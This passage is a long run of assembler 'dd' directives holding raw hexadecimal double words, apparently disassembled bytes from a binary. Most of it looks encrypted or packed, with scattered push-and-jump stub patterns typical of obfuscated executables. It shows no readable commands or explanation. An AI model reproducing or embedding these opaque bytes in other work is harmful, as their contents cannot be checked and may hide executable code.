1FC1A4CDh, 0FE00000Ch, 0CFF62EE3h dd 0D9FC20EFh, 5F014EFh, 0DCFB21E4h, 4FE517F0h, 0C245A5D2h dd 0FA11BB1Ah, 0D138A342h, 0EA23CC2Bh, 2CE79032h, 23971551h dd 8C5719CEh, 0B5587560h, 0E33B4C40h, 0BCA4D636h, 5D88BC75h dd 0AD548D80h, 0BD5EAB12h, 299684BCh, 55B21A39h, 5EC07A9Ch dd 95E873CEh, 12299685h, 0CDF20115h, 55AC4D40h, 9685B3C6h dd 44BF2929h, 6291A562h, 8A7F5E7Dh, 699B5603h, 9FDA79C0h dd 1C299685h, 593CF5Fh, 24DD24DDh, 968586F7h, 0F0060329h dd 95F1305Dh, 214CC02Fh, 9DE509Fh, 0B16E86A8h, 0CF4E6F88h dd 96E93944h, 0C9B623h, 9FEDED9h, 5084BE5h, 0CE2396EAh dd 39DE0654h, 0E82A5300h, 0FAA72396h, 0E869143Fh, 39E62396h dd 576F3B15h, 75577A60h, 7F4A1F96h, 0AFBB5B0Eh, 0BF38E139h dd 0F70EBB1Ch, 0E528C532h, 181539F0h, 900117FBh, 90BD6A29h dd 66C777C3h, 2A70E6B1h, 0DFE664EFh, 0DCC98FCDh, 46A710D9h dd 313C6C7h, 70A9F167h, 5D8F2EC9h, 0C4C22F89h, 0E373BE56h dd 0D92C1970h, 58817E89h, 7B5D7E5Fh, 80540588h, 688EC273h dd 0B267A269h, 8993CC5Ah, 0A41BD2D5h, 0F29CD36h, 3944CF2Ah dd 0AF7DDFB3h, 1C09FD0Ch, 3FCF36A3h, 1DFE0FB0h, 1EBE4654h dd 0BFA085AEh, 9E00000Ah, 0AF16CE43h, 0F9DC000Fh, 0E51034CFh dd 0FCDB0104h, 2F0537D0h, 0E225C5F2h, 0DA319B3Ah, 0F118C322h dd 0CA43AC4Bh, 4C07B012h, 23971431h, 0FF7739AEh, 2BDAFF69h dd 0FF3AEFAAh, 8C435F0Dh, 8AACAA62h, 271F6EADh, 5DAF2F95h dd 0E228BD2Bh, 0D7349AC9h, 28CE03D6h, 4538E3D0h, 0C22395CAh dd 0EAD50CC5h, 0D8910401h, 0F940F936h, 95CA1F5Ah, 4FDF9C23h dd 2ACF40A0h, 0F948ACA2h, 8096BD7Ah, 60AF0FB6h, 5E48CC6Dh dd 92EB2814h, 0F2395E4h, 0A993BA12h, 0FFE00F1Fh, 582AAD0Eh dd 0C7E8B308h, 0A1DDEh, 3CD5FC00h, 0E01DD08h, 3AC9EFD6h dd 0FF6E302h, 25E20AEDh, 0AFEC25FFh, 9D48FC0Bh, 0AD18CC3Fh dd 9E49FB0Eh, 0AA18CC41h, 132B4E0Dh, 43A82397h, 8C31CE85h dd 0A45D0C81h, 96860677h, 70868329h, 13862F4h, 506E8A0Bh dd 20389C6Dh, 53E076D0h, 62AD11AEh, 0EC8DCE6Bh, 692995CFh dd 6EE175BCh, 2F953C1Fh, 0F34F6A74h, 10E41FC9h, 2894D840h dd 3ADF2ADFh, 8F5D99D2h, 14F6DE2Dh, 0B416FE2Eh, 5450140h dd 1FE3BDBh, 2CDBFFDCh, 0E607F0A9h, 3EF3A627h, 9AC85206h dd 46096D5Fh, 35968D22h, 82071421h, 0E7239596h, 0D3F8FF3Ah dd 26C31C32h, 0CDA6F9DBh, 2F182955h, 95F85924h, 0F029D623h dd 95F81A63h, 44EA9723h, 95F87501h, 0AFBB5223h, 0D3F8FFh dd 0F0A92CDDh, 7CF01539h, 394B2FD4h, 85h, 8831CE0Bh, 178DD97Dh dd 5A543BA6h, 0ED24434Eh, 0CF64E034h, 0D7165FDDh, 0C8A114F3h dd 0F940ED01h, 266A1340h, 4AE72996h, 96267009h, 0F930ED29h dd 0F065D713h, 0BC5220ECh, 9600F489h, 0B01BA429h, 503DB559h dd 9600BAC3h, 7F4A3729h, 8E815D5Ah, 747A5207h, 0C5D5A1EAh dd 5102EB0Bh, 2995C624h, 0CACB38A2h, 8508FBDDh, 6D80605h dd 0FFC713FAh, 4D2FE66Dh, 0C2Ah, 31CEFC00h, 7E6F7F8Ah dd 25Eh, 30A7F1C2h, 96C57CA6h, 2F8F9E78h, 35D0F906h, 12CD921h dd 0CE3D9F18h, 0DABA12C7h, 0BBA9B349h, 0E3F063F3h, 0EFD3476Bh dd 0B124E508h, 671241F8h, 0E473F20Dh, 0DD4B1737h, 78635C85h dd 0A3B07D91h, 79EB16A7h, 43923AC5h, 3EB97097h, 0B465689Dh dd 74AD5AA2h, 71A85F8Bh, 0F90497E2h, 0C767146Dh, 8E1A8C1Eh dd 0FFDADB30h, 85040FCAh, 0EA73F5C9h, 1E3D043Dh, 67FC3F5Bh dd 24F90ED8h, 0A27A7CF4h, 0B94A7067h, 64D16534h, 669B725Bh dd 80967159h, 8A6651B6h, 56B31A85h, 85648A5Fh, 0D34A7368h dd 0FB8A3548h, 3CF5B267h, 5F0CE0B9h, 635F8A8Fh, 0D89566ABh dd 4A749286h, 7F83C29h, 0F8D70000h, 0DC04E319h dd 4E61133h, 0D1FADDFFh, 5E51034h, 0C948DA02h, 7FA5628Ah dd 6F957658h, 80A46588h, 6F957855h, 0D6A7B485h, 53239711h dd 638CDA9Eh, 41B45578h, 7F78A168h, 0B1527859h, 31A46D3Ch dd 6C0DD678h, 4BA16853h, 0CC757AFAh, 0A6C254D2h, 242FEA30h dd 2F8EAA9Ah, 8FEA29D0h, 0C239C9Ah, 0AF7FF0Fh, 43CAF3D2h dd 0F17E0D78h, 171E17B0h, 782h, 71937E61h, 7FA56A86h, 6B917258h dd 7EA65F8Ch, 70947357h, 0BC205FD2h, 902E994Bh, 0BF1EC97Bh dd 8A33924Ah, 0C6736183h, 9710E495h, 4CEC6123h, 7F8A31CEh dd 0AE5F806Fh, 3C9F4027h, 9F7A7B94h, 85A0D97Ah, 601D2996h dd 648770A9h, 4F5891A5h, 10179E6Dh, 0E4585DAEh, 0B19C511h dd 0A13E2E3Ch, 0D648994Fh, 0F0390821h, 0E429C34Ch, 44FD4D2Fh dd 95C06617h, 1026E329h, 4F14h, 69FFEE00h, 0A74B0831h dd 752F8F98h, 7A734D9Fh, 0BA5C24D6h, 0A9504542h, 0B559AE0Eh dd 9D24E392h, 0C47DC223h, 9D24E697h, 90A66323h, 70C96571h dd 24EF8AC9h, 0AF6C239Dh, 9D24D9A4h, 85A95623h, 0D63CEC80h dd 64A948h, 8B740000h, 0AE84AA61h, 0DAFF69FFh, 0EF3AD5F9h dd 0EC25E608h, 0D4372635h, 0D2272F8Fh, 8C0104E5h, 363B3EDDh dd 0CBB8239Dh, 2BD6D32Bh, 3EE32C94h, 19BF1CC1h, 250F1FEAh dd 9D36581Eh, 0EABE1623h, 1C66A3A2h, 0E533BB41h, 92557A0Fh dd 8B506D7Ch, 0B558755Eh, 0AA8FB57Ch, 0B559AC0Dh, 80759A36h dd 65975h, 69FFCB00h, 0EB4B0831h, 0F62F8FB9h, 3AA38409h dd 7C4BE2D3h, 3B67F16Eh, 39D4F906h, 0D6E11815h, 0CE9B12F7h dd 850D2528h, 0AE532996h, 0A41C0C6Dh, 6FAC891Dh, 1DA41C0Eh dd 0C3539E8Bh, 2F964E3Bh, 725A7F8Eh, 29D15A34h, 16CF5F94h dd 6D08153h, 15347A3Bh, 42AAE62Eh, 7F0E18Ah, 0F7B223E2h dd 459D0B57h, 7F9C659Ch, 1DA401FEh, 0FC7D9E7Bh, 791DA401h dd 9EB1458Ch, 239D2000h, 70994433h, 853334B9h, 4F70777Eh dd 8F3037BEh, 0D200F77Eh, 0CB17F60Ch, 0EB11FCE1h, 88B1E97Fh dd 60A546B1h, 0E50B7BCEh, 46B11DA3h, 0BD6C61A6h, 31A46199h dd 7164A946h, 6EAD54E9h, 11B1E30Bh, 0E2E598C3h, 0A56211B1h dd 53B24441h, 0A20E9807h, 0D03F9F3Eh, 0CC59419h, 603EAD5h dd 0C647A88Fh, 0F34EEB0Bh, 0D3F5E00Ch, 25ECBD30h, 0F255F9B0h dd 17AAE390h, 2D500B36h, 0AA0BB8E1h, 0C7A159FDh, 0DA60DDF7h dd 944D84DEh, 4449C02Bh, 52B78195h, 10858865h, 9936B559h dd 0BEA6D784h, 21310BB8h, 5F188AEFh, 0DA0F0CF2h, 2E8D4D3h dd 0D7FA35EBh, 639E5319h, 0C5B8639Eh, 420BB8C9h, 0C9C3B645h dd 43400BB8h, 0D4A33AB3h, 0EFCFE886h, 0BA3BD0EEh, 7CC22ADFh dd 0E048E93Bh, 2E8F5EF0h, 0E3DC3DDFh, 87F221F8h, 40BB890h dd 203CD217h, 8CB56CB6h, 0B890AECFh, 0D87E2B0Bh, 0C05BA65Bh dd 0BB890BDh, 9093E675h, 13100BB8h, 0ED60F6B3h, 11B1AEB1h dd 0F4E905E4h, 0E2B73EC7h, 0CF3A627h, 37E227E0h, 0E9EC1DC0h dd 0E2C51E30h, 0AFFDEFDh, 0BD4CCEBFh, 0F8E2DD91h, 0D0B455EEh dd 0BC758609h, 7C912E39h, 53C5A1B5h, 6E5D207h, 1546F303h dd 0BB86389h, 0DF1ABFBCh, 0C6274934h, 275201FFh, 0A4FFC627h dd 0F41A07F7h, 0BE329B3Ah, 0E208E970h, 6796CB21h, 0F7C233FEh dd 1E3DDE00h, 0FFC6275Bh, 0EFE62BD8h, 0F8D5143Ah, 0EF4AEF15h dd 0C6271964h, 27CC96FFh, 2CDE4208h, 9DC96DA4h, 0F4D8DF0Bh dd 3C750813h, 35F2FFC6h, 14BA45FCh, 39DA57F7h, 5BF6E05h dd 34A3E133h, 0F04CF6A0h, 0AB22E107h, 0C6A058FEh, 7AF7C95Eh dd 6667A2B7h, 188951C3h, 0E20558E2h, 57CF94Ch, 0E65BF9CDh dd 0F519F4D9h, 72EED806h, 3362E6D9h, 45h, 8831CE15h, 5915F060h dd 2FFABB5Eh, 1F4BEBBEh, 6BA85189h, 2F8E9EC3h, 40CFEFDEh dd 0FA7F0489h, 0D9239C79h, 0FF7A9960h, 7C239C79h, 50996C4Dh dd 5B133FBEh, 1E8F7864h, 8A66AB4Bh, 4B48D551h, 13Fh, 546CE9Dh dd 0EE3506Bh, 4EB7249Bh, 69A449A8h, 68A747B0h, 0B21A1DC6h dd 76576055h, 11848765h, 0FED2AB68h, 524F2995h, 5C5B5297h dd 0A2667D73h, 33738DA5h, 0FBC43FEh, 93245506h, 0E4A12995h dd 5DF1A82Dh, 21C936D3h, 143AEFE6h, 9597BF31h, 35A64729h dd 0A9807598h, 0A03EB960h, 9FAF6A6Bh, 5E8B7495h, 876887A7h dd 4F706B54h, 0A76237BEh, 37BE7326h, 0E5D035A3h, 0B1E0844Dh dd 0EF6D29F9h, 65168B1Dh, 7EB3507Ah, 0FCBE98C3h, 3BC42F8Eh dd 22DA7C93h, 1D8BBF65h, 36E51CC5h, 239CD043h, 0A4F1C3C0h dd 30E27F39h, 0CC87A44Ah, 2998F498h, 0B3567582h, 2FC76742h dd 696C9D40h, 79C079B0h, 4F207093h, 112517Ah, 1DA17178h dd 715A2330h, 2AD71DA1h, 0D33695B4h, 0D5C207E2h, 0CC9D10F3h dd 0CAF20D2Ah, 0A627DE0Bh, 0DF063EF3h, 0CEAF0CFBh, 0D4BEFD81h dd 2B8DADBh, 38970000h, 1CC423D9h, 44A651F3h, 11BA1DBFh dd 45A550F4h, 89081AC2h, 3FE522CAh, 2FD53698h, 40E425C8h dd 2FD53895h, 1667F4C5h, 9323970Ch, 46CE1ADEh, 44F8175Dh dd 0C524CA14h, 0FE0FB025h, 9E61133h, 0FF3EE004h, 67124169h dd 0E4299685h, 0C47F237h, 2F8F9822h, 0DB78C178h, 239D72A2h dd 0A8D1621Fh, 25239D72h, 611ED678h, 6E9D3FB8h, 5D5A1FC8h dd 51088D80h, 71858A66h, 9D7297DEh, 438F7623h, 0D64EE983h dd 139AE48h, 86710000h, 0C14E7269h, 0E1D41DCCh, 0CE50E608h dd 6F65E646h, 0E373FFD9h, 0F045AB14h, 0EEA56BECh, 0B0C98AAFh dd 2D2995CEh, 7780B970h, 0F28BC857h, 6F2995CEh, 0ED777B2h dd 0C429966Bh, 0CECFAA49h, 4F4C2995h, 7B8C30BFh, 8A2B4EC6h dd 943B1E3Ah, 16DA6982h, 0E029963Fh, 248905ECh, 87A7050Fh dd 5E868768h, 6CA13EB9h, 19C22BCAh, 189D54AFh, 82876651h dd 1F66F06Ch, 14609C67h, 5A7F4A18h, 0C0B95A9Fh, 36299618h dd 908D7196h, 2E8BCB7Eh, 0A9562F8Fh, 951C773h, 201E7D0h dd 0FB38DE8Bh, 98F2A560h, 0A2C74D29h, 0D0A5BD35h, 0E413EB0Bh dd 22D712FBh, 0DCD13495h, 0B34CE90Dh, 3BDC0007h, 8895E0D9h dd 0A0A5B2CBh, 9A722F1Dh, 93A32147h, 0C9727864h, 56303472h dd 0C818A34h, 7E5D945Dh, 0BEFDCA83h, 43F500F1h, 22000001h dd 4BAA52BFh, 0DB86CA3h, 41A458ABh, 10B76D98h, 8BA95BACh dd 86816916h, 0B655775Eh, 8584678Eh, 0B657785Fh, 8893648Eh dd 23970AF5h, 8C3BFD72h, 0B0537560h, 7FA56C3Dh, 6E967758h dd 9AE370C9h, 17299685h, 0D9A4AF6Ah, 56299685h, 0CEAF85A9h dd 0E8E76D46h, 9A805791h, 3B5767F6h, 0F30214DDh, 0BB2F26CAh dd 4918016Eh, 7D5E5980h, 0BE220588h, 448D5C51h, 912E39B2h dd 585FC87Ch, 0E5819576h, 47F22773h, 0F81861F2h, 2CA32995h dd 0C92D7BD8h, 44EA9707h, 95358801h, 3697202Fh, 88F122D7h dd 523965Dh, 0CFFEF618h, 2ACF1AE9h, 1A6576A2h, 907F55B2h dd 717A9CF8h, 7F8E2FC8h, 5657B818h, 5B847383h, 6EB05595h dd 75BC2E86h, 6B4D6ACFh, 56777698h, 0BF8D36B7h, 550F590h dd 0C81E7064h, 4EDFD60Bh, 358F6C0Dh, 0F53CE9F6h, 0B8B4A261h dd 0F31CC417h, 9211033Eh, 13565122h, 0B3121C32h, 1CE7D10Ah dd 0F2D7E0D5h, 3495A213h, 0F51F8CB4h, 2BE65D3Ah, 2954FFAAh dd 0A6F6367Dh, 2CE1FEF9h, 362453A9h, 2F3BD268h, 0B76DA03Dh dd 575EAF10h, 0D4Eh, 0AA14AB00h, 0B2577661h, 72C86E3Bh dd 658C390Fh, 0A13E29ACh, 5F7E696Ch, 9A4423AAh dd 4F7B7C71h, 8A3235B8h, 4A6F787Dh, 8B2D3ABBh, 4E727578h dd 531BCCC1h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 8956240Ch dd 4C681E6h, 81000000h, 4EEh, 24348700h, 241C895Ch, 4EC81h dd 0C890000h, 98BF5724h, 81372A3Ch, 0C7DD27EFh, 5FFB8914h dd 0B5E381h, 0EB817E41h, 1C40931Eh, 240C8B54h, 8304C483h dd 1C8904ECh, 8418F24h, 53240C8Bh, 0C381E389h, 4, 8704C383h dd 0FF5C241Ch, 815B2434h, 4C4h, 1BCE900h, 8CE0FFFAh, 0B855F2B0h dd 5FF7CD2h, 0E0FFC503h, 6240E64Bh, 6E461923h, 54D69250h dd 296F250Ch, 168D2BF6h, 3241247Fh, 4189FFA9h, 9F98C18h dd 56C0AD2Ch, 5D4E90ADh, 5844D9F9h, 6CA059DDh, 7B5246F6h dd 1AB495CEh, 4CEE201h, 72A3E478h, 71CE1ABBh, 767B800Ah dd 481C0D7h, 439451Bh, 63162389h, 5559AC98h, 69D43F3Eh dd 404D89BAh, 3DCF1F38h, 5FEC52B3h, 308B5C7h, 72AB1E30h dd 47F7CB5h, 7E4A90A8h, 18D95160h, 7E8h, 9124A700h, 0A6C2E97Eh dd 0CE9h, 0E3F8E700h, 1ACD6BBAh, 81A906F3h, 81665BD3h dd 81A57AD6h, 713BC3h, 0E880F00h, 0E9000000h, 9, 73D81CABh dd 493BFC8Eh, 81D22B07h, 4DD9EFDFh, 130C8B7Ah, 11E9h, 29F05800h dd 6CC3CD0Ah, 5E437616h, 23BF017Fh, 0F1817CA4h, 7A61F286h dd 884E67B8h, 0C5F18136h, 0BE4569CEh, 2FE1A03h, 2C44E981h dd 0CE80649h, 40000000h, 10952F8Bh, 0CF753007h, 5E95C511h dd 53130C89h, 58F28B66h, 0E804EA83h, 0Ah, 37E36325h, 0F0B3D3F8h dd 815F52FAh, 0FF8F70FAh, 92850FFFh, 0F8FFFFFFh, 7F378D8Dh dd 9D8905FFh, 5F91805h, 0CDD8D89h, 6A05F9h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8B6623C3h dd 0C185C7FBh, 5C05F926h, 6A00006Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0BB6BC350h dd 0B2AE3DBFh, 0F98D89ABh, 8A05F929h, 0FD85C7D4h, 5F900h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 9CABC356h, 80011A0Bh, 0B5FF3BF2h dd 5F916DDh, 95FFC68Bh, 5F920D5h, 0FF006AFCh, 0F91AED95h dd 0EBC08B05h, 51C91A4Bh, 28A35540h, 0AA8EF9DCh, 0FEBB7CCFh dd 80FACEA1h, 0BE6B5D8Fh, 0F5F210FAh, 885E625Ah, 12084594h dd 9E9F21B3h, 8D9B3D5Ah, 0A2F94831h, 2DA14FA3h, 0A163C3EAh dd 2FC22879h, 65F849A2h, 0F821921h, 125F741Eh, 8032E3F0h dd 5E9h, 96A9C700h, 49E90056h, 0F6000007h, 0E70E36DBh dd 0F1D40807h, 0DD083CC7h, 0F4D309FCh, 879D3FC8h, 9A6D4D0Ah dd 0B2598362h, 89806B8Ah, 0C24B7453h, 54FFB81Ah, 23970629h dd 0CE7F41A6h, 0AB648C73h, 99E46F2Ah, 16299685h, 0C926C569h dd 86665144h, 27A3FA64h, 0FB362C7Eh, 9A419E49h, 8E1D431h dd 2EBCCC1h, 419D8A0Bh, 6156C7CEh, 0B7567775h, 0A07F8A82h dd 70FD809Bh, 8D7A2996h, 60605427h, 5A8164CEh, 29AC5F7Dh dd 6483B970h, 63699079h, 0C2D6C349h, 6D76986Eh, 26A7648Ah dd 7B729D41h, 34B9527Ch, 0B36B7796h, 0AC6792AFh, 29964ED1h dd 3EBD514Eh, 26B11C10h, 508940C5h, 4F0F6AA9h, 8CC72996h dd 29964EF1h, 1E4DB16Eh, 8F4A4BC0h, 5B7AB45Ah, 691A9B72h dd 29964F0Dh, 4BB48DB2h, 0B0C96AA1h, 2D29964Eh, 331FDE70h dd 2F6A9953h, 0AA5E4Dh, 8CA80000h, 0B3547863h, 0AFCC777Eh dd 52299685h, 38BF6F7Bh, 0AD7C7192h, 5DE88489h, 1AD4D2Fh dd 77000000h, 728E648Ch, 0AB9E7B6Ah, 0CDB06B96h, 4A29966Bh dd 1621945Dh, 28AC55BAh, 0CAAD43E4h, 0F7F006DBh, 0E528C532h dd 9A39A251h, 0B5FFD532h, 748052CAh, 0F9E0FDAh, 0CFBC626Ah dd 0E4AE1A69h, 34DA0FF8h, 0EAD599C5h, 0A3840906h, 0EDBD239h dd 1CC433C3h, 0DB14EF3h, 8E780112h, 8F52995h, 0F91DCCC1h dd 1DDDA3Fh, 8E7CFD1Eh, 0CF92995h, 6E7D0C5h, 1ED38607h dd 39D4F9F8h, 92AE2603h, 0D1671B62h, 5CA9128Dh, 0C86E8059h dd 5675608Ch, 856742B3h, 0F969257Ah, 4F8A3F06h, 0FBEC457Dh dd 95FC1D60h, 7ED9A29h, 88AE7D46h, 0C11D9A5Fh, 0A549A84Eh dd 48F1636Ah, 0F9FC0BAFh, 0E3EF0E20h, 0FE26E109h, 9617F6D7h dd 0D9DC2791h, 9A1BF0CEh, 0D9DC2F8Dh, 9A677344h, 47A1F334h dd 0D068A162h, 735D2935h, 344D2F58h, 0BCh, 0A7608C0Eh dd 0A3668572h, 6B4D5A93h, 86126BA8h, 928F2996h, 0BC57A257h dd 299685C1h, 34AD413Eh, 0AC80CEA9h, 0F415C740h, 0DE4AE320h dd 21359D2Dh, 981DEAD2h, 44A92A8Fh, 0DED900C9h, 0D58409FEh dd 0E520A841h, 84A30DF9h, 99044D2Fh, 0D7000000h, 0E80EFFE0h dd 8C31CE52h, 5E7E6D81h, 259C70A9h, 0D174A4CDh, 7E3BA44Ah dd 0ADEC1096h, 53E367EDh, 29D039A4h, 75362AA3h, 8063D398h dd 45E49FC2h, 0BC25C900h, 0F9FC13BBh, 0B33ACFEEh, 0C0ACBAD5h dd 2BFEEF20h, 9A251AE6h, 512CE734h, 0CE299656h, 0C49518D1h dd 0A587D332h, 0FD1AC245h, 0E6A3D917h, 0C1138527h, 3D5CBB2Fh dd 2F052912h, 7F8A31CEh, 3CBB5B0Eh, 39C67B94h, 8E17590h dd 9685FF7Bh, 1D49A429h, 2F5DB729h, 0A704Dh, 49CB0000h dd 86A81FABh, 181E30DEh, 7CA55E8Ch, 27AE5583h, 2403DC72h dd 49BA20BBh, 0C52A0D80h, 79624548h, 483F098Ch, 81BE441Ah dd 42B35876h, 85A1DC77h, 611E2996h, 6B7786A8h, 78AC5781h dd 14C7288Fh, 25A861AAh, 1086E274h, 0BFEDDDAh, 96858DF0h dd 0D41D0A29h, 0EE2DD42Dh, 2996858Bh, 7D001B08h, 0FA299685h dd 0F54CE90Dh, 0B124E10Ah, 3FF356F8h, 8D2F8FA7h, 0F0DFE787h dd 0C5692EDDh, 6DA23E2Dh, 0E792C168h, 64239CEEh, 36B772B7h dd 0EC8DCE73h, 69239CEEh, 725B9ABCh, 0E898469h, 80595CB1h dd 0C3279049h, 5D88B244h, 3DF27080h, 0A8701C2Fh, 9D3FB861h dd 5AB2676Eh, 558911CCh, 727B9B52h, 9D5296E1h, 8563123h dd 0AA52BB24h, 0BB48728Dh, 68735C9Bh, 57128384h, 0B31C1B92h dd 0E6C1535Ah, 1FC936F8h, 3AA352E4h, 32A62ED3h, 2E966B93h dd 0F36FD8A1h, 0CE032619h, 6F010E28h, 2848D632h, 1C3h dd 29E20CF3h, 0F31AC3A4h, 4CE22702h, 3169FFE6h, 0C6000408h dd 8B250D9h, 7C0A49E6h, 1A2F8EBEh, 0A64934DFh, 0D9C6239Ch dd 0A68AF320h, 1A07239Ch, 8EFFFCF4h, 13C944A9h, 0D7020BB4h dd 0EAF1FFE0h, 0E25739C9h, 7D668841h, 0B50958BCh, 9D381128h dd 0B8557A79h, 618B3235h, 0FBBD228Eh, 797CB5F6h, 39BC516Eh dd 0A69AE370h, 6A17239Ch, 0CDDF0BDAh, 58D41DF0h, 22B5189Fh dd 139A4FBCh, 0FD809B46h, 7A239CA6h, 4C9A698Dh, 7D9E7F60h dd 239CA6FCh, 39BC4972h, 6C4F7E60h, 8841189Dh, 9A569B41h dd 5B48D682h, 99h, 57B219A6h, 65FF81B7h, 85631645h, 23E02996h dd 0F10E33EEh, 9BAE40CBh, 0A99685C2h, 6057827Fh, 4F0A8B7Ch dd 11848568h, 8C2DB658h, 0F7E3DA88h, 4AEC4330h, 96637607h dd 81B881A9h, 9663A7D2h, 0D77724A9h, 0A0743A28h, 57D2844h dd 70710E0Ch, 81D83399h, 0AC3632C4h, 0C598C37Eh, 82299662h dd 79635C85h, 514E1B92h, 0BE789E69h, 0EC227359h, 0C8266EDDh dd 38F1E425h, 54A91BF1h, 3F717326h, 953EAFh, 0C67B0000h dd 9651E495h, 7DA46129h, 96519BDEh, 0CB6B1829h, 0FF69FF75h dd 0EFAA2BDAh, 3254FF3Ah dd 0D82F8F86h, 830AF9DFh, 0CBB840D6h, 0DB00DDCAh, 36E51CF3h dd 239D8443h, 0D60EC3C0h, 4E3FCEEFh, 9D85AFC5h, 29355023h dd 0E2F48F85h, 8D0997F3h, 0A8658A69h, 0D652C474h, 23DE13F8h dd 0DFFCE1DEh, 0DBC40DFCh, 0C39617EEh, 98E52033h, 6552299Ch dd 9D99C3B6h, 8E43401Dh, 4EBF2007h, 1E4CC347h, 16CB1781h dd 23ECD4EBh, 18C54013h, 7532239Dh, 7E8533CCh, 0CEC05ED8h dd 6E808B31h, 33E64F2h, 0CB08D63Eh, 316A6735h, 0E9D72A1Dh dd 57442F95h, 6F6C5156h, 3037BE4Dh, 8CB57C8Dh, 96EAAECFh dd 0B37E2B23h, 0BF4A718Eh, 41FB1BCEh, 6FB73996h, 0B34C084Ah dd 5AB267A2h, 9DA9F0ACh, 85F82364h, 2239714h, 0C12ACC05h dd 42FA12h, 0FEF9C077h, 63F029DEh, 0D02DE51Ah, 0B544EA97h dd 0D6FA05A9h, 0E227E607h, 1C32D5F5h, 0EBF0CDh, 0E57FFA19h dd 0FFFCD02Dh, 3E56E2CAh, 7C7210CFh, 49738CB5h, 0E3022CC2h dd 11FCE1FAh, 57B2B09Ch, 0DDE467EFh, 9B24DD14h, 0AB34DA31h dd 0A3B7060Eh, 2D808526h, 401EA09h, 0C348A691h, 508E5D2h dd 3C2A1D90h, 0B37E8F30h, 7A7260AFh, 6184B855h, 5D1C917Ch dd 0A10677A4h, 8891D02Dh, 0E62B63AAh, 1CF0AD11h, 943051A1h dd 0E3042A76h, 3, 8C390F1Dh, 3E29AC65h, 7E696CA1h, 4423AA5Fh dd 7B7C719Ah, 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh dd 1BCCC14Eh, 136E68h, 240C8900h, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 51240C89h, 0C181E189h, 4, 4E981h, 0C870000h dd 2C895C24h, 0B9515224h, 3EFB4EB7h, 58F18141h, 0C174DE53h dd 0E98106E1h, 2BC50650h, 6A38E181h, 0F1810941h, 3C2E58D9h dd 0B959CA89h, 0D0D146ADh, 685AD101h, 1338h, 83242489h dd 5D042404h, 4EC81h, 0C890000h, 8458F24h, 5D2434FFh, 4C481h dd 34FF0000h, 0C4815924h, 4, 0F9F83DE9h, 7F8448FFh, 0E39B6D7h dd 0F3CFE7B4h, 5E013A5h, 0FF863FB8h, 0FFC50305h, 0D92957E0h dd 0DDAE703Ch, 80C54C42h, 0B1A43941h, 0D2105475h, 2E18AD20h dd 26715127h, 0AB03C35h, 3C9FF27Ah, 59C6097Eh, 4833771h dd 43B0CE24h, 6053B041h, 0E02D646Ah, 0DE35D066h, 345FF615h dd 0C2401B18h, 89349E7Fh, 4BADFE07h, 0BBDDAE08h, 0C5EE6D54h dd 7E9AFA24h, 8A4AAD1Ch, 9C7E76Fh, 5AE06E74h, 9A7EBD1Eh dd 37E970h, 51DF0000h, 2475h, 254h, 0Bh dup(0) dd 1048E900h, 85680000h, 0E905FF89h, 0FFFAFC91h, 0FF8AD068h dd 0FC87E905h, 0E568FFFAh, 0E905FF8Ch, 0FFFAFC7Dh, 0FF8DC768h dd 0FC73E905h, 9E68FFFAh, 0E905FF8Eh, 0FFFAFC69h, 0FF918D68h dd 0FC5FE905h, 8168FFFAh, 0E905FF92h, 0FFFAFC55h, 0FF945E68h dd 0FC4BE905h, 0FB68FFFAh, 0E905FF95h, 0FFFAFC41h, 0DE59983Bh dd 85925F8Fh, 0E05B9A38h, 82956891h, 0DF5C993Bh, 0E610A360h dd 19BD0417h, 0E3125FDCh, 1DBA0714h, 82DC5DDAh, 20854FD9h dd 9202F79Fh, 1406F126h, 1D623CFh, 25D11698h, 0B9FED5D8h dd 6A133F74h, 9ADF02DEh, 1CD9F986h, 4D2DF2B1h, 0DF0218A4h dd 12CDC49Ah, 0C22FE328h, 4CCF0CC7h, 19C282BFh, 9ADF028Fh dd 97873C37h, 0A23E973Fh, 1A9ADF02h, 0E4B99467h, 5A9CA033h dd 0A94C6D02h, 263334D0h, 3FC9329Fh, 0A79F2633h, 0CE1110ECh dd 0D16B046Ch, 8D9F2633h, 0D5584196h, 9F263377h, 4D431873h dd 827BAE04h, 5695h, 61E00B00h, 0E97ED648h, 6CD92CC9h dd 1132C4BFh, 1380D91Eh, 119CA07Ch, 2DE32812h, 73768136h dd 0A96A63A0h, 6E037B6Eh, 0F9F8184Dh, 9D10D390h, 0B018F1C6h dd 0B09F267Ch, 48B08651h, 267C15AFh, 0C42DD19Fh, 9F267C38h dd 0E532EDA4h, 7B652C65h, 0FCBD82h, 13330000h, 58FFAAF2h dd 0C4171917h, 2C9D587Dh, 0C7C233E5h, 0C09A5D7Ah, 0A96E832Bh dd 3F24D140h, 6665448Fh, 0E1A30ABh, 0FD56D8D1h, 9ADFB563h dd 28DB28DBh, 0A9E1BA13h, 0BFF49ADFh, 39DE2338h, 0B124C019h dd 4FA09ADFh, 578C57A6h, 6D88A556h, 88F3640Dh, 0F2B19CA0h dd 3A5BD265h, 8D648BE0h, 9A74471Ch, 0CC0BAD42h, 0AFCECF54h dd 77447F6Eh, 5ABA8A96h, 0DF3F3299h, 0FFC731FEh, 0DB13387Bh dd 2C0EC916h, 8D2E3DD7h, 5BA2B56Ah, 16813CB9h, 0F3ADB1EEh dd 0DB22AFAh, 76A10000h, 852D7487h, 70A6EB70h, 8A2B7285h dd 77A1F06Bh, 3DFA7186h, 6EE90CAEh, 0F106F31Fh, 69EE05ACh dd 0F308EF24h, 21BB147Ah, 9D9F208Bh, 0F213F0ECh, 42FCB816h dd 797EE0C2h, 91E4FB2h, 74A6EB30h, 20419981h, 0D26FBBA1h dd 67015CE7h, 0DF9ADF84h, 0D54D724h, 0B00A0DE8h, 8415AF48h dd 0D2D19ADFh, 61E09B05h, 147DD648h, 0A9CA010h, 36E22717h dd 2489F4C7h, 9F2610A4h, 882C37DDh, 0CE33B669h, 6FDDD027h dd 1E164714h, 0D92218A3h, 6A827BD0h, 0FEh, 290F708h, 0C31ED5FCh dd 7D4036Ah, 0E8F1269Dh, 0C0EFDC9Dh, 0ADBB831h, 5BA89688h dd 0B640C72h, 9ADF3971h, 